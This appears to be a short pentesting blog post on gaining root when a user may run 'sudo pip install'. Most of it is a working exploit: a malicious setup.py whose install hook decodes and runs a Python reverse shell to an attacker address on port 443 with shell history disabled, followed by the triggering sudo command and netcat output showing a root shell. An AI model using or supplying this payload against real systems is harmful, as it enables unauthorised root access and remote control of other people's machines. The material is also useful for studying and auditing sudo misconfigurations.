sudo pip install privesc

2 minute read Modified:

Escalating privileges when pip is part of sudo group

If you happen to have a user shell on a system and you see that user has sudo rights to pip install, then escalation becomes super easy.

alice@jada:~$ sudo -l
[sudo] password for alice:
Matching Defaults entries for alice on jada:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alice may run the following commands on jada:
    (root) /usr/bin/pip install *

In that case, what you can do is create a malicious setup.py on target system:

from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '10.0.0.2'  # change this

    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

And once that is in place, run the following sudo to install as root:

alice@jada:~$ sudo -H /usr/bin/pip install . --upgrade --force-reinstall

Remember to adjust path to pip, lhost and lport accordingly. With a listener in place, you should get a shell:

root@4loot:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.10.10] from example.com [10.10.10.10] 36754
alice@jada:/tmp/pip-1qpiOl-build# id
id
uid=0(root) gid=0(root) groups=0(root)